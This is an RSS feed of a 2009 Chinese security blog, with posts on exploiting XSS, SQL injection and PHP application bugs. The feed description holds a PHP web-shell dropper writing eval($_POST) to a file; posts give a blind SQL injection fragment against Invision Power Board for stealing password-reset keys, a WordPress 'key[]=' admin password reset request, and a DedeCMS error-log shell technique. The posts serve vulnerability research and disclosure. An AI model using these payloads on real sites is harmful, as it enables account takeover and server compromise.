<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[5up3rh3i&#39;blog［提供有偿web代码安全审计服务］]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[&#60;?fputs(fopen(&#39;heige.php&#39;,&#39;w+&#39;),&#39;&#60;?php @eval($_POST[c])? &#62;&#39;);?&#62;         MSN:SuperHei@ph4nt0m.org     GTalk:5up3rh3i@gmail.com]]></description>
<link>http://hi.baidu.com/hi%5Fheige</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[web安全漏洞(bug)的利用]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/5772bdc2b98a9b5fb219a868.html]]></link>
        <description><![CDATA[
		
		web安全漏洞(bug)的利用<br>
<br>
最近大牛们都在讨论类似的问题,基本围绕一个问题,漏洞(或bug)的利用要看具体的场景.主要分２个情况：<br>
<br>
１．漏洞(或bug）在某些场景可以利用，在某些场景不可以利用<br>
２．漏洞(或bug）在某些场景可以利用的价值更大<br>
<br>
这里我也举几个例子说明这个问题<br>
<br>
0x01 xss vs httponly<br>
<br>
在pstzine0x01里在＜利用httponly提升应用程序安全性＞一文里介绍了httponly代码的安全效果，这个其实就和ms在windows系统上采取的那些措施一样，只是提高了利用的门槛．但是对于会一点点js编程的朋友来说，httponly根本没有太大的作用．<br>
<br>
今天还有个朋友问我dom　xss和其他的xss利用有什么不同，我的回答是＂xss的本质是就是可以执行js／html，你的js／html水平有多牛，那么你的xss利用就有多牛＂　抓做这个本质，你就可以写出你自己需要功能的playload．比如利用xmlhttp去执行http请求，得到返回数据，那么你根本就不需要另外得到cookie再通过第３方程序通过这个cookie取数据了．．．<br>
<br>
现在在很多mailxss（如hotmail）的利用程序里有应用<br>
<br>
0x02 xss vs cookie-domain<br>
<br>
xss和cookie是分不开的，而大多的网站对具体的应用不同，cookie的domin也不样，比如google里的：mail与wwww域．但近来一些&quot;黑客实用主义者&quot;过分的强调了这个关系．很多人认为在www下的普通xss因为不可以跨到mail而认为它没什么太大作用，只可以alert()弹弹筐YY/SY一下,但是在某些场景里有着特殊而且重要的利用.还是那句话'取决于你的js/html等的水平'...<br>
<br>
0x03 sql-injection vs password-hash<br>
<br>
这里我们不谈论具体数据库权限和操作系统之间的一些利用.只谈论大多数情况下的select的注射.目前世面上的大多应用程序注射的exp基本都是得到用户名和密码hash,这个hash很多都是用的md5,虽然在目前在那些大型数据库保存md5hash里很容易查询出明文,也是看到这个原因,很多应用程序不再采用纯粹的md5的方式...所以根本很难破解或者查询...但是对于具体的应用程序的场景了,很多情况下是可以得到更大的利用的. 首先你要知道select的注射的本质是可以查询你当前权限下的所有数据.你理解了这个,对于很多具体的应用程序,都是可以直接执行代码的....<br>
<br>
0x04 其他一些具体的场景下的应用<br>
<br>
记得flyhat牛发现的dedecms的一个漏洞&lt;<a target="_blank" href="http://bbs.wolvez.org/topic/80/">DedeCMSV53任意变量覆盖漏洞</a>&gt;,当时这个漏洞要具体利用其他是比较麻烦的,我在看代码的时候发现dedecms的有个功能存在着潜在的问题:它默认把mysql出错的信息保存在<br>
mysql_error_trace.php文件里<br>
<br>
DedecmsV53-GBK-Final\upload\include\dedesql.class.php<br>
<br>
function DisplayError($msg)<br>
{<br>
$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php';<br>
$emsg = '';<br>
$emsg .= &quot;&lt;div&gt;&lt;h3&gt;DedeCMS Error Warning!&lt;/h3&gt;\r\n&quot;;<br>
$emsg .= &quot;&lt;div&gt;&lt;a href='http://bbs.dedecms.com' target='_blank' style='color:red'&gt;Technical Support: http://bbs.dedecms.com&lt;/a&gt;&lt;/div&gt;&quot;;<br>
$emsg .= &quot;&lt;div style='line-helght:160%;font-size:14px;color:green'&gt;\r\n&quot;;<br>
$emsg .= &quot;&lt;div style='color:blue'&gt;&lt;br /&gt;Error page: &lt;font color='red'&gt;&quot;.$this-&gt;GetCurUrl().&quot;&lt;/font&gt;&lt;/div&gt;\r\n&quot;;<br>
$emsg .= &quot;&lt;div&gt;Error infos: {$msg}&lt;/div&gt;\r\n&quot;;<br>
$emsg .= &quot;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;\r\n&quot;;<br>
<br>
echo $emsg;<br>
<br>
$savemsg = 'Page: '.$this-&gt;GetCurUrl().&quot;\r\nError: &quot;.$msg;<br>
//保存MySql错误日志<br>
$fp = @fopen($errorTrackFile, 'a');<br>
@fwrite($fp, '&lt;'.'?php'.&quot;\r\n/*\r\n{$savemsg}\r\n*/\r\n?&quot;.&quot;&gt;\r\n&quot;);<br>
@fclose($fp);<br>
}<br>
<br>
那么只要让mysql出错就可以得到shell了,利用flyhat发现的那个很容易让mysql出错.... [ps:利用数据库出错得到shell的这个漏洞,已经有人发现并且公布了]<br>
<br>
这里只所以引用这个漏洞,只是觉得和大牛谈论那个进程崩溃于特定场景的利用有'异曲同工'的效果?<br>
<br>
另外还有一个具体的列子:&lt;<a target="_blank" href="http://hi.baidu.com/hi_heige/blog/item/69ae07cfebae0130b600c8a9.html">关于最近ipb那２个注射漏洞</a>&gt;<br>
<br>
<br>
小结:<br>
<br>
1. 漏洞(bug)的利用离不开具体场景<br>
2. 哪些场景让漏洞(bug)发挥最大的威力(具体场景具体分析)<br>
3. 不管是系统还是应用,很多的道理其实都是一样的 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/5772bdc2b98a9b5fb219a868.html#comment">查看评论</a>]]></description>
        <pubDate>2009-11-04  22:37</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/5772bdc2b98a9b5fb219a868.html</guid>
</item>

<item>
        <title><![CDATA[[PCH-007]New Includes Function -- spl_autoload()]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/5dbebd5088c0da858c54300a.html]]></link>
        <description><![CDATA[
		
		<a href="http://www.80vul.com/pch" target="_blank">PCH</a>这个项目一直都是围绕pstzine_0x03上那篇<a href="http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.txt" target="_blank">&lt;高级PHP应用程序漏洞审核技术</a>&gt;文章展开的.PCH-007又是ryat给我们带来的一个新的'字典':spl_autoload()<br>
<br>
从这个函数的功能我们可以看到php语言的强大,在这个函数出现之前都是应用程序自己实现的__autoload方法.php看到了这个应用的广泛,然后直接在php本身实现了这个函数,这个也是php许多功能函数诞生的过程....<br>
<br>
另外从我多年来blog或者写文章的经验来看,看官多半只是看看文章本身就完了,很少去思考或者实践的....<br>
其实这个文章给我们一个启示:还有没有其他的类似的函数呢? 这个也是pch项目本身的一个意义所在,通过php本身代码的分析,理解本质的问题,从而指导发现更加多的'字典'.... 如果你加入其中,或许你会发现更多 :) 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/5dbebd5088c0da858c54300a.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-23  11:44</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/5dbebd5088c0da858c54300a.html</guid>
</item>

<item>
        <title><![CDATA[黑客外面有黑客]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/2a577126359eda09918f9dfa.html]]></link>
        <description><![CDATA[
		
		近来看&lt;The.Web.Application.Hackers.Handbook&gt;的中文版,然后里面所写的对于很多人来说,没什么新的<br>
技术可以学习.但是里面有些细节理念还是很值得学习的,如P265里的提到的一个&quot;错误观点&quot;:<br>
<br>
[------引用开始------]<br>
&quot;我们不必担心低风险的xss漏洞;用户只能利用它攻击他们自己.&quot; 如上所述,在适当的情况下,即使是明显<br>
低风险的漏洞,也会为更具破坏性的攻击打下基础,实施深层安全防御必须删除每一个已知的漏洞,无论它多<br>
么无关紧要.在想出办法利用细微漏洞方面,渗透测试员应该始终假定攻击者比自己更富有想象力.<br>
[------引用结束------]<br>
<br>
&quot;渗透测试员应该始终假定攻击者比自己更富有想象力&quot;,这个很经典,很多人都不太理解这个.........<br>
<br>
且不说完全不懂安全的程序员或者管理者,就连那些职业的安全专家们也不理解.如近年来出现一个词语:<br>
&quot;黑客实用主义者&quot; 他们bs那些'低风险'的漏洞或者攻击方式,认为那些都只是YY...<br>
<br>
其实我想说他们认为的&quot;实用&quot;都是站在今天的位置或者说技术知识水平上的.中国有句老话:天外有天,人<br>
外有人. 黑客外面有黑客...<br>
<br>
[以上提到的请不要随便对号入坐,只是个人一点点观点]<br>
<br>
update: <a href="http://bbs.pediy.com/showthread.php?t=98421" target="_blank">http://bbs.pediy.com/showthread.php?t=98421</a> 还是看雪的气氛比较好 呵呵. 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/2a577126359eda09918f9dfa.html#comment">查看评论</a>]]></description>
        <pubDate>2009-09-28  11:52</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/2a577126359eda09918f9dfa.html</guid>
</item>

<item>
        <title><![CDATA[在不应期的时间里]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/6bab6408f6eebca52fddd44c.html]]></link>
        <description><![CDATA[
		
		从上次的那次高潮后,oohay一直处于不应期状态,都差不多20天了....<br>
<br>
在这段时间里,80vul成功换了主机....<br>
<br> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/6bab6408f6eebca52fddd44c.html#comment">查看评论</a>]]></description>
        <pubDate>2009-09-17  12:03</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/6bab6408f6eebca52fddd44c.html</guid>
</item>

<item>
        <title><![CDATA[有图无真相]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/fe9b9fb03047b55d092302c0.html]]></link>
        <description><![CDATA[
		
		<img width="761" height="722" border="0" src="http://hiphotos.baidu.com/hi%5Fheige/pic/item/197c89511af05d49853524c7.jpg" small="0" class="blogimg"><br>
<br>
顺便来个公告:80vul最近换主机ing 所以访问不到 ...... 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/fe9b9fb03047b55d092302c0.html#comment">查看评论</a>]]></description>
        <pubDate>2009-09-09  12:58</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/fe9b9fb03047b55d092302c0.html</guid>
</item>

<item>
        <title><![CDATA[暴的不是0day,是寂寞?]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/e170850b18cfc31695ca6bb4.html]]></link>
        <description><![CDATA[
		
		<p>先看图:</p>
<p><a target="_blank" href="http://www.80vul.com/blog/yahoo_1.png"><img class="blogimg" border="0" small="0" src="http://www.80vul.com/blog/yahoo_1.png"></a></p>
<p><a target="_blank" href="http://www.80vul.com/blog/yahoo_2.png"><img class="blogimg" border="0" small="0" src="http://www.80vul.com/blog/yahoo_2.png"></a></p>
<p>记得以前我在<a target="_blank" href="http://hi.baidu.com/hi_heige/blog/item/aeb009d441169fc251da4ba0.html">blog上8挂过一回</a>,看上面的图 '很黄很裸-体' 现在我们看看人家暴的方式很多啊....</p>
<p>有上baidu问吧,有在blog上的,有在pst的maillist上的,有直接偷偷给yahoo工作人员的,还有楼上到老外bbs上暴的......</p>
<p>改漏洞<font size="2">29号凌晨............</font></p>
<p><font size="2">[哪个有新的,哪个就是嫌疑人,客官你是吗????]</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/e170850b18cfc31695ca6bb4.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-31  22:00</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/e170850b18cfc31695ca6bb4.html</guid>
</item>

<item>
        <title><![CDATA[Defcon17]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/0897ef1e76db4203314e155a.html]]></link>
        <description><![CDATA[
		
		http://www.defcon.org/html/links/dc-archives/dc-17-archive.html 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/0897ef1e76db4203314e155a.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-26  10:14</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/0897ef1e76db4203314e155a.html</guid>
</item>

<item>
        <title><![CDATA[关于最近ipb那２个注射漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/69ae07cfebae0130b600c8a9.html]]></link>
        <description><![CDATA[
		
		漏洞公告详见：<a target="_blank" href="http://www.pcsec.org/archives/Invision-Power-Board-Blind-SQL-Injection-Vulnerability.html">http://www.pcsec.org/archives/Invision-Power-Board-Blind-SQL-Injection-Vulnerability.html</a>　很明显又是urldecode()导致的２次编码的问题．我怀疑发现者是直接grep urldecode来找到的．．．<br>
<br>
比较奇怪的是，这次杂没见老外给出exp呢？另外一直都很热心的．．．于是有朋友让我exp一下，然后我又找别人．．．经过几天&quot;你推我，我推他&quot;的过程．．．终于又flyhat牛百忙之中，丢我一个'exp'，然后我一跑，跑不出来．后来一问，才晓得flyhat牛忙完他的工作就到了凌晨１－２点了．于是写了基本筐架还没测试就丢我．只好自己看看修改一下了．．．<br>
<br>
大概分析了下，原来漏洞的利用还不是那么简单的，里面还有很多xx，看来老外不给exp也是有道理的：<br>
<br>
//ips_kernel\classDbMysqliClient.php<br>
//ips_kernel\classDbMysqlClient.php<br>
<br>
if ( ! IPS_DB_ALLOW_SUB_SELECTS )<br>
{<br>
# On the spot allowance?<br>
if ( ! $this-&gt;allow_sub_select )<br>
{<br>
$_tmp = strtolower( $this-&gt;_removeAllQuotes($the_query) );<br>
<br>
if ( preg_match( &quot;#(?:/\*|\*/)#i&quot;, $_tmp ) )<br>
{<br>
$this-&gt;throwFatalError( &quot;You are not allowed to use comments in your SQL query.\nAdd \ipsRegistry::DB()-&gt;allow_sub_select=1; before any query construct to allow them&quot; );<br>
return false;<br>
}<br>
<br>
if ( preg_match( &quot;#[^_a-zA-Z]union[^_a-zA-Z]#s&quot;, $_tmp ) )<br>
{<br>
$this-&gt;throwFatalError( &quot;UNION query joins are not allowed.\nAdd \ipsRegistry::DB()-&gt;allow_sub_select=1; before any query construct to allow them&quot; );<br>
return false;<br>
}<br>
else if ( preg_match_all( &quot;#[^_a-zA-Z](select)[^_a-zA-Z]#s&quot;, $_tmp, $matches ) )<br>
{<br>
if ( count( $matches ) &gt; 1 )<br>
{<br>
$this-&gt;throwFatalError( &quot;SUB SELECT query joins are not allowed.\nAdd \ipsRegistry::DB()-&gt;allow_sub_select=1; before any query construct to allow them&quot; );<br>
return false;<br>
}<br>
}<br>
}<br>
<br>
ipb的query()里还有个'ids',不让使用/**/ 而且还判断了union 和select 根据ipb的那些错误提示,他们的意图很明显,不让'sub select', 而默认就设置了<br>
<br>
ips_kernel\classDb.php <br>
00053: define( 'IPS_DB_ALLOW_SUB_SELECTS', 0 );<br>
<br>
第一个注射漏洞的sql语句比较复杂,又不让/*注释掉,所以基本上很难exp.第二个漏洞导致sql注射的语句比较简单:<br>
<br>
/* Get validating info.. */<br>
$validate = $this-&gt;DB-&gt;buildAndFetch( array( 'select' =&gt; '*', 'from' =&gt; 'validating', 'where' =&gt; &quot;member_id={$in_user_id} and vid='{$in_validate_key}' and lost_pass=1&quot; ) );<br>
<br>
字符型的,我们用and '1'='1就可以闭和了.这个点本身就是一个blind inj的点所以基本也不上union,现在的难点就是 preg_match_all( &quot;#[^_a-zA-Z](select)[^_a-zA-Z]#s&quot;, $_tmp, $matches )这个了不让select出现,就没有办法子查询其他数据库的东西,这里没时间去研究有什么办法可以突破select去跨表/库查询?[如果你有什么突破的记得告诉我一声]...<br>
<br>
还有没有其他方法去实现有用的攻击呢?方法还是有点,这个查询本身就发生在validating表里,这个表里的vid本身就是找会密码功能产生的那个'key',只要我们得到这个key,就可以去修改其他用户[包括管理员]的密码了....<br>
<br>
原以为这样exp很完美,但是继续分析发现问题又来了.默认设置再一次挽救了ipb,ipb取回密码有2个模式,一个随机修改后发送到用户的email[这个也是默认的方式],另外一个就是用户自定义密码提交直接修改[详细代码在lostpass.php的public function lostPasswordValidate()里].如果ipb使用了第二中取回密码的方式,那么我们就可以修改别人的密码达到攻击的目的了.....<br>
<br>
exp的关键片段:<br>
<br>
$sql=&quot;55512c93eda811273175c3e4262dec87' or If(ASCII(SUBSTRING((vid),&quot;.$j.&quot;,1))=&quot;.$i.&quot;,1=1,1=2) and '1'='1&quot;;<br>
$packet =&quot;GET &quot;.$path.&quot;index.php?app=core&amp;module=global&amp;section=lostpass&amp;do=sendform&amp;uid=1&amp;aid=&quot;.urlencode(urlencode($sql)).&quot; HTTP/1.0\r\n&quot;;<br>
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;<br>
$packet.=&quot;Connection: Close\r\n\r\n&quot;;<br>
<br>
小结:<br>
<br>
默认安全很重要!!!!<br>
<br>
最后感谢flyhat牛的帮忙~~ 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/69ae07cfebae0130b600c8a9.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-25  19:22</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/69ae07cfebae0130b600c8a9.html</guid>
</item>

<item>
        <title><![CDATA[[zz]Tools, Resources, Libraries, Documents, Fun stuff, PornCode for hackers]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/5772bdc2eeb1b05cb319a8b4.html]]></link>
        <description><![CDATA[
		
		<a href="http://sla.ckers.org/forum/read.php?24,28675" target="_blank">http://sla.ckers.org/forum/read.php?24,28675</a> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/5772bdc2eeb1b05cb319a8b4.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-16  22:43</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/5772bdc2eeb1b05cb319a8b4.html</guid>
</item>

<item>
        <title><![CDATA[wordpress一个有意思的bug]]></title>
        <link><![CDATA[http://hi.baidu.com/hi%5Fheige/blog/item/79bdc52b9d328e24d42af1df.html]]></link>
        <description><![CDATA[
		
		<a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/69460" target="_blank"><font face="Verdana,Arial,Helvetica" color="black" size="2"><font face="Verdana,Arial,Helvetica" color="black" size="2"><strong><strong>WordPress</strong> &lt;= <strong>2</strong>.<strong>8</strong>.<strong>3</strong> <strong>Remote</strong> <strong>admin</strong> <strong>reset</strong> <strong>password</strong></strong></font></font></a><br>
<br>
这个漏洞又给我们提纲了一个非常有意思的tips:<br>
<br>
&lt;?php<br>
//test.php<br>
var_dump($key);<br>
var_dump(empty($key));<br>
?&gt;<br>
<br>
test.php?key=<br>
string(0) &quot;&quot; bool(true) <br>
<br>
test.php?key[]=<br>
array(1) { [0]=&gt; string(0) &quot;&quot; } bool(false) <br>
<br>
哈哈,很完美的pass了empty($key),回到wordpress里的代码:<br>
<br>
//wp-login.php<br>
function reset_password($key) {<br>
global $wpdb;<br>
$key = preg_replace('/[^a-z0-9]/i', '', $key);<br>
if ( empty( $key ) ) //this empty!!<br>
return new WP_Error('invalid_key', __('Invalid key'));<br>
$user = $wpdb-&gt;get_row($wpdb-&gt;prepare(&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s&quot;, $key));<br>
<br>
提交:<font face="Verdana,Arial,Helvetica" color="black" size="2"><font face="Verdana,Arial,Helvetica" color="black" size="2"><br>
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&amp;key[]= </font></font><br>
对方的密码就被修改拉!!!<br>
<br>
<a href="http://www.80vul.com/blog/80sec.png" target="_blank"><img border="0" src="http://www.80vul.com/blog/80sec.png" small="0" class="blogimg"></a><br>
<br> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/hi%5Fheige/blog/category/%C4%AC%C8%CF%B7%D6%C0%E0">默认分类</a>&nbsp;<a href="http://hi.baidu.com/hi%5Fheige/blog/item/79bdc52b9d328e24d42af1df.html#comment">查看评论</a>]]></description>
        <pubDate>2009-08-11  21:46</pubDate>
        <category><![CDATA[默认分类]]></category>
        <author><![CDATA[hi_heige]]></author>
		<guid>http://hi.baidu.com/hi%5Fheige/blog/item/79bdc52b9d328e24d42af1df.html</guid>
</item>


</channel>
</rss>